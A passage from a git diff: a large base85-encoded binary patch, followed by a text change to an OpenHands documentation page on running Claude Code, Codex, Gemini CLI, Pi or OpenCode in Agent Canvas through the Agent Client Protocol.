zVik9ru7X1QK2Vof3tvcJq9J1DTgE?caJQ>1Jp6?}x76`8r7Km;q4CRHDWF5VVL5)# zDEbh@F4l_8o9X=hj!xa4z3ou^<M)2mK5mqE^O)3qPkKgWH*#Q(l&t_Gi!T3fR#AYq zisF>3fvn*7_jl$FM4VloagzEUf4_{TQZiHLr-Bfl4?R^K1!_4t27q6D0!aIJ_ys2) z3R-b5v0915#N3IsG63ttqW8P+Td#uqLnI&RB|g@Kq<Mb35I0bk*B+lo5?Rlz0bJ7m zO%y8yWk}*j--#eCwaxi3%Kg7VS^hIh=u#c~1ZVIOK)!2XHb@Jd`bP<Rq!D}e3T#y9 zv|7{FpaF0dvX0sa6+Sz?0F%}g{OzL9ay-a?kL3QgC;)twe*d?-2Rf9`Uq-r|Z^wxO zJ_ppGYj2bP^V4{N|0Wi%=%(FW;;j2r&idVKn2e$vG;v+h>X7O6agrS^@6@BlUG056 zegiYQgW#sod;0t04E(o?gFN-Yz}Gtk7l(0;^M%3+(v?G(0vH-8!R80g@~(EOWnxxG zn!?YXl*crwR65GLgXC4a?Vz-~zEi26X7kI5k2AQLDenO_B#}C`&2$NY%6I>Eo`qx^ zA`d&*QMv-cG`)$W+ga{gRB*Xo$FSkPLp21W{yB<uG8;EWd9Dm+u^Fb>QiRfO!>b!{ zj|p;wYr$?($1Xg-g;nnNtS=pZ;OBR&+h^v(CMh<nZ4LNTZDdS%zOq^5Kmt3^T3Dj8 z0BsqFRE@DItlpR{(v6o+C`DN+$0>#)n<1W|C3yz`gEerWtpyBn@*TRTg7c+LMz9X# zi2z|6pT_ukBK6kl@QLweVWm9td1zH|?^{+bTmDGJzoZ(Zelq@WYNmLg%m`J19~x47 zl6~d?uZeNxe9_G1WQUOtlk@Vv#a1W0Jf<iam}23NndtkyzMadq;8l#{jHlJi<%b(H zroM<N?&V%7P|6x+>XeBb&!=GUd{Dkd%b_|c!ThouCGh6pZ>{I?O&kHsZym=U8ti_& zGNL+=e(Z*)i*<_T>hNj(vF0sM)`%PGd6F#VH^VkABO~J3d$DN1@w!+07Qg#(^OM44 z+mOzsrXBIoK;Let;YMy+y=w8a>QjLtwe}XB_zGczb?QmpzDU-|YD-Fkx4F)pLqtls zB))Gx%cpmR%nW8v&DwWRgZxH(bsty+tfw&79T~9qjF6yP`>aQfp@x@<M-OA>H;1&c ztsDs+{Q73@lpmF?iD;t~i5fOA7>H6_$$gS?vO}TU8(Zp9l!Z3F0%RuhrOaV+M`9@% zsbs}4^N+H`&T(x1O1ancBQZIt%8{hhIot3jtGRwhl=`mDRN9U_#^Y002LG77Jyn!3 zw-~)6?!k1G`z7SG?P{!j5bbbSy3S%G&!HuMrQTp=>LFpCw18}S_Hf_Bt@H2+w7>m? zF<@_}xw*q{>89(4=j8`xs(pG~@Y*LQXO66zM3AUoGV$hB#H@lM>+V!r-P9CaGdDvo zithE?l!r!@BlldV$ZD;l)z?pWU8qxS&l{jlTV~8rLiuldte$Mrl<D&_-=*yHEm1hd z)IH8XCN;#@)spi5$-!Kn)jH$&nG$X8mam!i(`R^>YwxrxI(aYWw}yl%CQvXHklUh@ zz?C;`A6*7ZEB)V}k1sp2P7^&>KkcIlm}_Bh<GZGUTV3{hl5`-qEW3L-*2(L->_{oK zU2JNZL-$l=wY6Ryw7@-$dogux+$G+}t*K2*f!=V*xqP&0b7p$tbId@c`>9mS*JOQa z@S`2c?#q3}_@@CK$*E-ZAaYgQy*;sqRnWqZNZyX1mXzCnW$>5^ZXtcgYAlRY?)M`F zwXVsIgrQf<*VX-2tA;7Jw`EWH&5WK*6^L62xKl7($aJG((9}G)qlDeYE2C>ZhG-UB zb$vviWKXHzQ6V+8nzYzXB%3QO3~nFKH(#+Of6Y$a9cSkA-hVuPWvX>H-(2LZaZ}vA zl`jPk@G;rNS?<Ic-H4U|%U)iX%2=P{PJ0^~zW(-tYt{e?X+Mg~ljL{4*VQhqQVf(7 zDwpaulRGXZpoWDF`k$^WN-AZ{VbnAiu9|3qt2q}Pw=YF;Hjk+PA-1C?@NV^LDm}i& zo_NOiV`Q9}_cvWUTb1vnLO-gjUi$-4zbz6*hlD;GsNiT5!as|`hLr#PT!}V#q*)VE z=6ya-&QdRBX4bt_S{Y<+oi4wk+in5FdGErO;uN=>X;*D6?>1i_`qD;p<W^=!N`6yy znHOP9U|xgh_3mEwhjwCK7_NN4@0?K~<z9bLVwi^x<z2Bt>b!HRIpjI@aKxjqcIU%! zaxgED*8j~_?P?6<?45lcnv~DB18UJ;=hhF9gJxQlFn`>Z!sOdxQsV65jR>>3OCp%n z)`<X<{8XNo_7ro!<(px-A?ZmLXVSYY_NV);E*$XgAa+#@SCJpw#2Q&xKx8C@!;}#B zH#9W-eqlm^qTY|J<QG*nQ)!>U39h<us!Y`!$A(QDtE9pMtsB|Q4W|4WZVI2XKd-lg zvS{B<D72kBC)w(#kf?Ch=k06m`Cx4>^VK=tj@H19uUGjx@LkpcVbl&t%-RJ7E$(ZG zWS<|b%0vkW2>;GDD;IC#fEsG?<*C)hTvuxBJ8#ydv*T}w3J0?ZQ9B94tCRqyol^o5 zV9E%txbuE=+={LFrxqT}57-_jmoMi~@dGPFV$zZD4>IwOJF<HsuJ>M?n0*@__we$S zyz|xdtX8vXk_Wfn#5!N(DU^Yn<=)?0EU3NzO01yz&nhX-#uoT4-!14noZouDd_{PC zpxVPz|H&LG(QO$!ccLc1sA2!{@h#%~@4MWI+^x~(^Y3Tfc@>MF5(p<w@<t#xI@$Y_ z3c6ZqxE0mF&Nia$%?zxYI=^$A{2du2p068Sy`W7Q;xJImVTG2S?!pOty5CCS{@EiJ z2DtG9^Vr5n*+T2RCj&%p2Fv-m`?bIPP!VN29RtMF!Q)95M(M!#pQ1UN)x?C?#H>sh zq!3LD(m1)lRj-bQ;9qZ^?j4mT-@4P;|7c|;{$LhQn3Ps}_|cg7T+g1)yE89`%s~$_ z^Y(ui1~QJp1Xx!RX9rikRmw)n%BgLM3Jrm{)p=f}vq}|9BX-qny9@ois9fP=Gfye6 zt*e*tAm-h#r650bt3GwvsH3uEyo1_GRr2yht{B<z<bb5k%Apr_)dAi&?^k;ei}By6 zoqCC?ikR-V+-xgVQ(<4mbCo>KlAj91m%39j-FNF(PnE2&Sc&X5aB?~<52;6-#_uO} zhs1Nbcf5uV`e#=1@dWAc*^VUL2qt=u)jIDc@Iib^x{0=aFO9tjeB~({^UTni{5y5^ zW8DXxTFEkf#)V4BsZ$%^to2(ezMO8EHCUa9ac#mJz%NY|pN(Isf8f<o?{P%|YraI7 zo6XZSH<|LAy{CBw41|l9x$){w|N4pkl}G#Oq7J*+dCdW^VXffMWJe+iPZeS+dm>j^ zkejIDL1+yZcv^wKwGj^)t&a2gQbOv+nOElm?o<ssrvhuId9Nh@5bx^Z=JtjlkKTcz z3xF?dUKzP#8}c||Xf}5R495M5%qL6nk&1S&hf~7=C16W7KUk62J-Y1Yc13owxsPX_ z)trKB%6yenc#$$|JN{m*BAuKrzHEwI@OXy9XEsA|4eGbYWv^gEpvBURwckVEYjxTB zrWAUK=gxJF0r=8^>cghrhNCIip}->3>v0Ae9OOys$#(1Qp^;_#Q(gq8XT`ZJ^p7hz z5#<H-)J4fTVD2q6!oZ7BUu~7FYn#lzT>H$sm>ljnc3yM1%=NWkXY!?Yoq8d+ovIcK zX5-_5fQmn~MXaNNU7$-`HVfhw-~swg<b0f#V|Ziv#W%QuEMX7B>#GDQ`*$DkOWY$# z9LDm8_1ipRPR6`JO#FFC8KR^{yJ2-P69?J~>&D9!It)?7?~S+m2r7|j<K!qm5^MRE zp$!xuIC_W_FRW1r&`kG#J~;X}#{54Ls(;R0o$HpuPzul{_PPhJAz??G(kfc_U~!Y1 zWA*Y}`|urlz&N13=f4lBz&~PcWiIN=VCw9C7_tN*<G9$sd~Aw|WBde*)$HIHWiwdU zpx*}g9>ntSvzvKKbOmw>_py0?a8qloSH#$U9|s_vS6!Du$u8yiZw*Dow@U#@%wgWw zzW;tPmbfew>p9)7QQE86xvydDO$!+b>vsOuAGrG2cLr<-CGz_`d`pb4IAZEPT=_r! zy};L8UO91x@()=!6QWgB^OyPD(?l=g(Fcn=H&+1H#tnJXPH+?-9{<e&`G1bkT~Y8x z2WxZu1Qbeh4!_p77asnyodDvLw=4)x!JCc(Hq5nSTfwVK^lV9;F&;LFIi4>~CuN!z z-DHV1Cmu|_yz2_8G<?n)3m;(>xBPAuzeA<ba|6}^IMaEnlFwX@rD7OBOf~MRakNO& zNuX<Gro{kaYWSU9W$v<F=@=IvVzi%1yUgHBz2CA`j68E2SLLPp8eJpa5;Vu9#gwBg z_1NpDP_P#Ye}mfGqtWd5tDmi!msiq=YHfHYHvL@2;mmk}rs;iOmp2M^u~fsD7XUTr z)lWx4*=zQ19+OAIbh(1s6ecB+_|97yTe~nj>dRkill}nu5EE~h1GL5eyA37Eh*z)t z^3d8)GEvQ2B`b&osCloejsuy=s=(iM5egeql-J(O>uD5d>Z`A+$Sx*tPKNSg(in|D zc|s;B|6}!GxSpRMJQ6)Ew^0Q>-)@y4xzlP}5*`nwMQdFEsQ(v|3+rhadYyb_uMRBQ zHuV*2h%dMGW*18tS+2_+l&VV$*|kH_M1!kvVeZR#S@g69c=yDs4DBEm51H;#z-0cd z@A|h8?%zVVe=7$6w@NGBfMPxgM1fO)F8A_W+nR-@>uCh(jz{Ey&X+6D;Xb)q7OHd- zY%INq;R}>Q)#8Y4UGOg3zB0F{O6fH#Id3Qz(;tsun)hZCHG=jG!jczMrbIcuK-m3& z;0wyg&;F)P^ro_pGiJKC6sglbBh&9;xh1uC!3FxS%U(fY?s+#m0SO7M-~9H*E8rE> zSqk#53SkpF_!%4f93_C?d>ts$3f?ftC4o|=o}Way{hDQ^>--P0rrp9Kl*oNMlY0u+ ztrML;eOyHkxZO;BQqE?xGFr9mTwaO+hQV&jaE0%^Cy2UAlUdwvp0^XJ?g!=&m!{&| zH_0)HV6W3ar6g$s!;yq;`|;M~-%p+leeJP<JX0V%M)>Udd@?>xg+tY=it8Pa9Z51= zhm+;F_39=4ui0w&momKsvoUX28(ZKPF!g$THq#U;tq-;il90l0AW$||L2u^L{3oyC z_d53k7Jo0J^e^w8qym3V;zPXSlIK>5O)VP{s=+zXkeIOAR?~QJjgoje#<6q$hRmLz z25AerN9}B#<z)F-19J$f&BMdOK~L=|gW|$xsY{J4i4w9~J@5ahivCBPbe|aGge5@F z`%Hlk$aWYP+UHmE@dZ%aZhI*(SvHYl3x)5J`z<5PuK%MU?8k_dWwt=`2|`ua2P6`G zu67><1t1l<uKk0tL!rJ`>w`Ew1rwlzTrP-T^Ak{7H<Yosz$svWJez5di)<hZQB*^k z;3g7iMA1osw2JOBN3GiAv7fuT{z~>Ui)e-80@n%L+-3~jx>&xpOtV=zGYdT&<LAjU zYyHH33rpHbOT$0BX+jR&EM~RZ#?+LC<-7UmXNH^qJbv#5DID!kc&jnJ#9g|h-gA=$ zP=BwNYm{ek!l>A>k1_m$`x+Ja@Tu%#{$5fz(c<3wARsAi<}`sp18<S|w)dv)ebNYH zA>>EM<Nlj@*l|o1x7S=6TAa~^{t8c9WPyS9dmIQXcTW_%EQuqlv*9|(9gg4Fz;Ftf zJ4^3W2Mmr1t~tZ(_WoXH(j)apDHFMxTr!UE2-hEvV7~q_=BO<+?`4=d1gBr*_u^P{ zbK{f~7{rH~tAPLn4?Pq0pG|jPs{qp?5Yca&8r!<GIFl(rCy8D+p1k(^1^pvWTZ46J zZ<z*~@&c>3_qAnTzEOX817&&p8?+94cOwjMiSUTP@h@vX;+b+~$vkv*#Ut??6VHct z<<N~NzEvMlP-&g~lrOrXu=O#6%9`svNLPCb8>zFOb>6JdP9JH8xa-26JAMq}`MoTc zKrq4<RE}~K_c$LBkVLO<=lg5ve;Uc5Q~n*}Nw66oI98H73V?Z2rK;Pp?;wDK$y-lE z=0WG?IRVL`2-3wMrNh735YQ&VD1f#AvUkHk@$0?J*Q{U!`NcU=eDB#WnFOqTyh4=K z1$X&b<O`wc-|wO7M~H9Q*!Q1V&o!@BL`V`WzaC`xN0;c2ukgRTwIC;ei3S+hoQz&t zot6~myxM*fE5835(ryKe`uB%6?22yTu%w-O@zeMI*_|SFCc%vbhcJu6u6=Ya$K=!A zTPdblD9ddJ5E+x%T46<TWG`0|`J2a*zpiZ@H;FcLUZ@QLrHjYD^W_7{p<FTy6!z;P zy0C-{ZqYy;+YMCmcu>b{r#jMvnr*HAt6$=$rASCrrn2bd;X#5PuQ1>Hz~Z8lu_SE6 zVZ+f<m(dguWvS9kV6wNV{hCS{JrWmIyhfLm@(txquvg@IIxK`G^Ks_1>}pRAYCv1m z80Mqc2P8+Y9BXNXJKS^S0YZBZw)3H)HKTwuL8C-lZDFlBer3g+wjrb>hfZY3+5Re1 zlM|RyAVrt&1Kz#%Q&^9W9e{G;XglOPn!CIvvUNqa@!&NJeXk0CEvS%Q^SlYEqb|P) zvQ4yDPXrR&W=?kIb3xOdmJlwr@dG8R03sV^3(AVNA)-ZTH$y)h?h&brr&GAH)&ep{ zZllRlo(CQgqvfE_L%{lRdWXWSme;~y0Mc$K{6?_st~PLXWBD)J1_WO`zxLkUwx?N9 zVMUp0Cvb=rjBK8k=vZV8_Ga)Gy`T6JejGn+{tZUUnAer2C*dMG`S`NJzV|lgDosUy z{Z{|ibadjI60PD%F!9)cYwL-8@1dLP?7d&D;j1HC=)`ebx_h>rfnBpV<?`g7_crKQ zQ^7T!>Q8%{eZ#m-G=kV2Pje@EZ<Q=7Idb+NE&s?Kd&N!<Ph|%kI6*kbtUZ7D-aBM@ zt+TUzjf;A052|)7X{gi@#_FoNt88{REvKmwd+Lc_jm`y@jkN5Ef#X`1K&}f7vTt3q zF5>=3Pd>0#-`+t~tqmKggbO%b`V1c(loP&)ezL1}e2pW(zHvPtZZAr<wggH<aCb_V zWSA~LG*>nFwUbOaftAssZKv;J6togOJ7ek^MiY8)|6ScR-hb%$`t>-**OUFbU}1Ci zs-72yHOMsk`1sc~P=?i-y`=*KO+J@H|Is+1W#fsfTi4ii5;QcBFdNBXgPFnvm95fl z<m@vSus-$6Of}1|Uyq)#Q#_w*7$JWCfZX~{!RE+yu1;&5vjh$08!elLE|OrFLuy?Z zHdOOi)zc#azt~#;w_>PQkxSB!gk4)Do*FGWmpMMe9Z~V-`t>i-Tj|6&&(GmZ3s8y9 zg7J~`tTyV{a`#_b^CDy5i{73$FlavyZr!K4e9JwkW_AI?fM5UA=Jt(siA<NS-*bS0 z9%kH8Z=n1FI#m0A-F*on>tCNZPrg=U2@VrGm%&Ny=Qors120?`{$)WU+u;4DP0iS3 zj>DdY)lyWXxfx1wo?F8$?Bhd~jD^V_37Ljt?P_frqaSiZD{<qSpE;+#zv2N}*+bm+ z%=j@JPzs3SUNI<9;IS<-ZpVL}t2{PF6KrLkJ4^*qP1K1qeRLHj&HeR1*WW*fmC?x6 z%`?UX=^3lpI^w!n7}dod^Puu4YyN#Npie4a6_*VQJC*=F`iT#MM};bHBv`gS>Du^9 zHy>JGSxY=4h5>!y6g-yC`BUjWnww!Mdfjfn{OJk`mDbEm=b8)8^tK;<zjY_04~w2i z>Ob8<DDpbg5-3sLa2L)Kr;g2&Pq8#K5z|>A`Tx8*%1$byS`-Se3egH7=12Qm|C3*j z$B%z$*h(ky^7!?CINAR-N&ojf;OlBn`OMXxRLYLenI#$a?_FI?Rll+8mJX8IG*Y&e z-c8e!NYZJ;%WIutk&wFgJScU~8NE|Mjym^`-@QuDXBB48LvSCM=u~V{tY3+%B;KnU z9Vv_(?XPTd&t5hiSf<2PR}u3&0{%H+%?5Cko;0lcWvl&Z(Gx`B`Y`@B^6L@%b8aax z)0CYYzZ{moroI4dx{X?Y#edEH&l^zrd!WR>;pcz-uVMNZfpg*THu|?qJqBEXV`^6a z^^1SpMa_?41B!ai{IWs+dLsr*DJE#!UjzQd<adLgUm)mY_S-2!cDUHR^}qc>V>l{B ze|-3v?)-0mJqwJIvw{-8*yX?G)J6@~=y8ST8n^uS!TMLh3#yK9`eo#QeW3$%#dhD9 z5&Or?{Pld)zng&Oe|Ho3r>b87C4mD7oqiOcE6Oe+6<=#E0XKiTrQa%b;0bi@TO>5O z?Jxo)<6VI*z7b>&%+3Pw)pSlre=bn6T}pm*ZvQ)xeDx^5mBn}Z2B!LmoI*!VeeK`2 z1|xe2#AhOQimHF@jzc-LtmZx>PJR)|OJ|}asLz&bgP14C%RuF^SEl!>>LRc|8v*5o zHt68C#C0mzwkExVxTCY`HX}k--sG&Yna$+t>u>3rm<;)usHQAc24F{)wZ<>3;z&;_ zCog>o1+J+V={XhO8m|Fi?smD6&41tdSa-PlJgQZ5!v8vP7xesL^o5fk51=}D0{<Bi ziuNIAnu~%&=_vDE`A;azn%i5X8&2K$*5tR6KMCrcUx0kVw?=+7djs&MTv_}Ypk$Kj zy+o>?ID^e%c`F@ysqn4eMA?V`d^GG-e>2$RX8Xhb;}gE$Mf2&SEeJY`HhJJA3FONY zNfWu%RlQKe`30c{J8zes+z1-gIzk#=W>bDZQPU`1zgst_bmZy90pi<D97jJr{FJHE z0kY_2g>CPnBm-hstCv+x0JbWZoq|xv;HBx~zmrY)m+Hf<Q`~>FQ{&IY@OVm}#DD{V z4dY@LFJPU2w?#Nc3nADMPJ0h5Z<hcuxRe-r7|JmLdO8XbqT0FruHAn84P!C(@)f}B z878gwmJk87Z<%{uwfuEjk>x*B3}$ttLvFO}uS2it;xAg%_54cFr_1_-(9eGWQExoC z%M(I5({pB?Ut~ub1j0o?3xnLeuv&;poH5ORq*uf9lf&bZ51Yxc$~)&Tl;x`wYnNN6 z>AR=)Ip;U(*ibu+ow)Tak&TJKM%*(9DZPnn%L&!t&D$kLK%@D7&5$ibF3m5Fx`bV^ zespu_Q+GzW!hC6yD7|Qbmcqj!s5I)VCQ#o#5Pq^`>@j%9emVF`NPFhplk=rd`^8?o zq7ls0Yc-oM>wE+VK+gN8(wVzqpQ`ef!XD+acmJcj^7BTqy`>$VBT=cnFtjf~&~97` zG%$A+2PQO%h)<z*p%KahO&m+V5ZzAsnq9oJt5G7KKDXYYxor2o$8k+bZszuO5h6hU zT_`rFK21I~OnG*9_1hw7a_9LL`!uomHyynu=2ghzWDZ|uZ!luJe`mb+6Bp|fTIVRU zc1@liT^d1#@O-(1kfrqBcK!(T`ioneq5lK=VwwGsXjeV@aJJb8U^qNyZ;2(hZrUR8 z?E<xuh;hQaip_os498;Iy&2=G<V658>3O$8B`Qto=+s-@+I~2#Ugx&ljz;FgNm`!n z@6KsGF}Zg7C@8Bp0>m=V*FL`tfvQ2%(e78~E8m`cp@Npd3%=6FofRX}mjHB<e#PE# zlp2s_0*YX|XM&UG?YyT;t<QUnC)<yaqMCeCIz-+U?%8&l3YNjJYOXMsOc`Si`|@lR zWW;pBg|9SLIC<ft8$oGV!L{mRz~zrsImGw<XRj1|7VdnpI1=4C@PL+Gpa-Bc9mFu% z_4hrYz69EzHr0KMe&fkcuDf^6Z#nc0GxOB`l>fY$!<+3gSykijB3p8bJ4d<y2BRdf zsN5Z(`D-TqOLZ<}7k2DN$oebiKno&ax8D*;^#J$CEIpZC;^i4Wl@sUWdx0KV&{#Lr z=Y^6@g!8NQn;*_sj4HV8Lgz>x*zql*a^|yA{Y#_IfdXNB5rJRd-DwD~XfEHeO{oV@ zos&sY_|_mmmR?2JF88O#c@dhM&TAm7jh&CS#@^zH-$mEAW5s2%%Q9RPNC(ebcQxC) zM<Dtlk7Ozax2s}2XRK~wS)4TozZDqnk%~OxY_WWF^-|qwdGG9Nr}n-C3(<Zxea4^m z1j)?m-U-<Nf_;(TyE&`a4sM-2T8p4e+&s?dW$IAao?$wwoRip@fi-!<X`iJ{l|cV( zVlI3H&%?!Wg!w-Pe^?o{BXNdpI(8ju$9qks<$`BZp(B6nJP8Ffn#Y2#?0Xb2zJ=Y( z!BYBvwRi3RP^Wu*+k+NGM>mwq2`de;U6i}nT+0+1B!g{aTDQU&GbNQ`V;EwrjWKoH z)@72xv@U~mszD(Q6GH8}MJRXUc0S+THQ7C{{(_UAnD2Ky-{<*0&*$>~JkR@$k57o| z(&M8qjVB6zTxu`h>1xkp)$b}*Cb5s%%mX!#V-<`Ce<n!Kqr88QOvt;k0n3I=>!$pi z>i4yh4T$PNAc*6%nGJ$wk%l&@&bI#RRA2jf(ENKd{uUiB5O;MTT%}x75=YCtPYY_) z>jMlrAKOH3D;C?W+s)abg0h#%P9ycB&$#nN%~5iJh20DN2l&kFK+mIxpyKfESQ}tf z<dJsPFz~1C0;-ULJC<MO7L;=_r+?b(*IOS`z~!d+7Sd>2Ra|FwrA~Tf*<vb#?~8l` zV9UAn?uZ9NL`p~f$5t#LjFRjzScA$*o*xGc{rbB0MNd*^XSeRAGrbbUZpYYP)<;Y( zH0T~%JPCXMH>l*RCp&+4L-55i7_;wAKl|ZO1m#qNbolJU@d+Ts5&x04c1B!GA0-y2 zKlF1TFrpfJo~r&wgovE@PWG$71~Pb%@;uyKyOFrji2wi{y+CCBZWLnV$H7r%R8(LC z*vU2xBv!1W8MUZnR9S`5#72u>v|t|$8&70tid)O<9s$7hVWc7Gw`eQP)~p>W;yvVs zoN(cM!(vtmhWZflc%!t5OdT@DFVjnn8`A0LbkrCqIE_79E&HF29W}ejQ+d1D@R8cg zUadQhkMY9pi+uI83`~0Cvx`@S-gvvX>QgI)>pZe-`?$vvNHlAL@-%7gS->R+B{Fq; zBIAOnoJQkf)eNUFQdT3BPLtKR+{F`HzlUt}e$?1o!r!~Qq#&M~>=M)gw#<0Ch)VO- zqA^*lzT*zB6Hjar7ahO1RP;m<g-HEq1$UQaH%3zy(puN5+<!Gh+16WXz_pUSN#4P! zrKS0R7-?SV-ti@KB|-DO_o`Et_BkpelJ2u+a}DlG_B}I#03>2UdA9HswiA}^GCjzb zqV%<<>}4`>4NQm@Ci+yA=B&aPH7XYL>3XLsRwWoR=93ma=b4i?#c9Q;Kwv8X@g2c7 zIU)G0(+JOL6z*2ts6Wgji_k~1%eCh}JW(nP?_!X@f;neC%!}vh+KPXjd@8W+%J7MG z@;F59R;^Uk!Y4|RjPLT_HMQM%=>wIjTjK3r4IWk5Sg8thrr<HgY3T!Rx2GA0k=sGP zeVFQUKEbb2pScmIy21Kj%O=C%$JFT#1>6Ggv+s6U^Mc2I`CSaF{Y+}>s4r;>k>|qW z%_1*85m_s)XHk(&bHbMW2jz$RX0nllC^~wU9=4~dmYT}=tM(33Y}d>dz=o58Eo4NA zgqnq3Z9#k?C@LzO+q4qd*Bsnz#ko<SXvMt2qdS9djFfO6xLKU#zz!Mm?>b~55e2#! zf##(uGODV_2Kn&T$G0wk<mR)Va~dRm@TDeA1DkUAOZPdd;6XTXT5=EO)cHs9JY1+Y zH6iE-s6JKpX$9m)In3%4G?4!8YrQ%6$2*sm+eKNp=v`_aM=TVvc8iu(e^t*$M=6B7 z<Wi;P^-v@!!}m30%|}nEdi^PPmR3CHt8)+6tG%($;XqkKTbukmrruhe?kM>)$n6wr z7luAUeeW0VV5gTQ)j;U2l+?UuT35tdzdBTsO@#&E>u)Rs0Cj%+s`pUf64^vL)4&hs zIWVf6u{V1{pBu46QP{`j>V7M2JnJzqY2-e^Uz*EbF5!J=wHT>)cJV3&_`HjeTH90- zs3P329|M^DIJ%l=-;~Pf_;uMSk}?^Zca@U8qnj@2C$T56S{jI(^?jR}WqXVn+vF~) z7FgjE%H`VShoF9&x5hd;TwP}#p!wtXw>3<k84G=4@O@aa-Od(2pi5*ZI{Z`6NSyiz zhP-|YRgBQ`WwF_%KbQBFoEtSzkHaF|`}_cd(~l{E<8|uNVH0p}2+)3vk}o>#U{Rd) zmEle0ip<z8xJ>+{pg6`d$7?<ddp*Zzpn4e*haJ{+iHI9p^6j1h@7i^oZDcb)O00Ih z1QhW6nWM{E74KN3*u#S2{d_2B=<W-y6qPIU7ME|?T|W5lKp-Y;gPXkizQwp^o|`S@ zV_l6Q+FQT=sB=P)7r`>endrUWmd&b9#+(IaR(FL1W0e!hVbkq7nKhvpJTA+kdmv?1 z5MA>UT;A#X6V@v$_ez<S2V@6?)H{Yrc5B|7OX=YThb+b9H1^QtC6yLluN^iY;+;GQ z`YjF54)hpK{*({^leS#ahH7XzFkp8uzC%i5fxdZ7P>VoRuARNB(<y7JvsU9Y;(b`) zhkE_yx@W4K8lhAnFkU9yoigE+@|>M;y|-AUjzgJX;kC>=E&4(WktIrl2(2&#k<;lz zG<5EH(&x#LAJCK*2Q9sTk4`hymu20BMRocTIx4!S?v~TqiB%Kyz@@nXKJyornp5;s z2FU2rJ+Z5ORs>AYb$DZ8<+S;3jf}14aR}s7$^X<a><aM7TzBMh!uuWJB$M$qL?XEM zRuZ1x#t}tm?~X^r&yQ7CPsc74PSnhUV6`^<xqNSQbhF&zkXo<)##_CG^B3qoFK=wS zG`JP_)MR;qFrQUmG3exI;NS~YV=pAqERNO08!1Lm3dl%WWFt|jPO0~Ca6KKnzaC2C zn2PY}Vg^lVdG^V}$gfMRLeF;*_%uYJfe@1m?3PK0B-N>~saEsTd<N&&uV?g7MAlXH z{QX-_;_t{)RF(g-AS<B1??Q})=yCH+Q}%dWh$(51!MtFff4e8|dMn12`3~}?sc1yq z=%&6LL{7Lg@=$KyyW*zN;MN)(k~W#R1F<9_<_<P!y*v(g!cyXx2`KED2L)F{&PK2S zw>x})*PZ#GuCaO82H08Fed-CUycXw&{}TPhL1_nSE5hkrz8^!>(SfdOu|o;%z*L5+ z125oikIKmPiedVe(vo{}H%*WFBbm6hTjIq5WRJq#?ocSr4BI3jT0wYxZ7FPpxZh@C z{W@XChdHAg=;~WL&DB3duJ~NYPSe2<r)x?HK_&|E%BK9r=o=-xO0G?G_BmzgHxo7b z;ns}gk%;nTn@c6iDxTI~#-G5rWL*lu6%CWmO^4GxZu56V!;6&*e;~Rw2?^5ZR4I;K zx*-W~knfA4ZB}h(owe&!hEokbg>E4oXLHCyJdrx{g-yky{w_rcJKBIilx*}0<t#^q zvv@Ju*obQd-`9<Od-Xat4wRzKw?jrTO!VoHM~S((6#*Y<TkDoN`Zl?1gr_n%)n;xU zg|f{hC}VFUYQ>>I7lVKaEoHBEhHy?lzG13}@$S4Wy2bf6_PF9>Z?(hh*mB_9wpBD$ zmvx5BtUf!{|D^pddLvNmE_6MhwsWxLIqZ(C!yL&?O)ym*0cEQ*a}Sl4j`a|iw(aAl z=mni|Ih#fM9V1ct!JB5;n0in7O>M2D_9-+83ClO44U2*VdSnGSQY=0LaXV`$FTX9Q z2fXi;fg30Q?r*j_mq?R96;=k0R8KS-42L+n#5Q+5J{_Mhe4#ZTdx8y&sN`Iv0$T<V zux*uVba0Lbv5Hu^(GjehS%&Q7_g#<pFBrGB=7xR4id|P=XR<gM*#DDv-1dI&6>9~f z(vO6oQ67;W(?F#whqt(7;=C-Poupe>%ohlKCg2-Yo)3{}iBO92zie-B%X0z^wg?I@ zz{+zltuWW^{G-i;R;w2hiP=qrIB9v@5isVJQ_KM71Dk<j4tArA0wl(2g({t)>-Wgu zvf}DNw*27u&8WpRkA6T7PzYQ4z2CY_3QF5fdJWKtiu%Z&2%grnNU4SSqqPaw%;{}D z`FVDX)lrfd6oc0Jd#SFx-kO7(QoPei^^<R3Gyu<L1ITT6Oh`Cb{syY?S|Al~*HqgC zv9R6;TX#VV06Y~uJ(k(Or1K0ORRbcxVyWaGVlj_P;B#g}bGks~X-dBM1g21bJN^73 z7H$YkFR+3$yC+=&I8I5{iRlO4@jyd54<-F;vOt#80X@^_-=ggn-^-H7u2542j}v3V zmS~Vje|{3PxIMV}5P{1z`_RQm)$ugbn|&Q&TYLAKmpHTBX(^aGmA-2EJpi{7;VLJz zIS~D^YL!t6<JxO175_8vU;?4IAEFTh^pcb_9Ab9li?NuFnB-TmuBUnu#dXr({dh#- zhiiv&wa)Y1h%^zDAGRrR(YT9&em;Kj{z6>ug+~_(P}uUOVWX9ygVxcU%gVpy9?%7v z<v)CO&5KjFHMpU-if09@V)PBNRxoEaBp&+s*<)nOLIoWyv=@Ngn#R8&uAqES6m`&q zcp&-;eRVgN&jR?iJUKGeCj^TgBkslUl_+0`=E8ShfihHz>sZ>baDP^cj|c|h!9Aq$ zUNQ$!;~)XtHgL;_c<19oeYFAa3P|&`f{w{bhdvJRAD=Yu1T;VMxiHFJ)#&fHmcXVV z{Jc~O<L_Twxe*WLuzf9qp9b4uvsp>l+NbD`Bk|XNwGV(X`Ln^F#=0R7=&1Tf|NoZn z{%lhorb_HSec=H9?UyTTxbD}pW<t2Y|K3zAn0gC&h1KJ>x;v(waGgDNc}{3A|K5TH zlvGq=rB)f0zua-#53Y9-YZgA)LIxBZ5-iq!@+Gn1`iOzYrBAj1TcDm>WkmdSWIy)v w^ECM4^ECKu4UnqCXKV1;Dg3`ogV)Pn&@u;PSy9Z?FW|@eu-&(J%{;FD7jZrYFaQ7m diff --git a/openhands/usage/agent-canvas/acp-agents.mdx b/openhands/usage/agent-canvas/acp-agents.mdx index 7afd97e92..d17c2b6b3 100644 --- a/openhands/usage/agent-canvas/acp-agents.mdx +++ b/openhands/usage/agent-canvas/acp-agents.mdx @@ -1,9 +1,9 @@ --- title: ACP Agents -description: Run Claude Code, Codex, or Gemini CLI in Agent Canvas through the Agent Client Protocol. +description: Run Claude Code, Codex, Gemini CLI, Pi, or OpenCode in Agent Canvas through the Agent Client Protocol. --- -Use this guide when you want to bring Claude Code, Codex, or other agent CLIs into Agent Canvas. Agent Canvas can drive conversations with the built-in **OpenHands** agent or with an external **ACP agent**. For an ACP agent, the selected backend launches the provider's CLI and must have access to its subscription login or API key. +Use this guide when you want to bring Claude Code, Codex, Gemini CLI, Pi, or OpenCode into Agent Canvas. Agent Canvas can drive conversations with the built-in **OpenHands** agent or with an 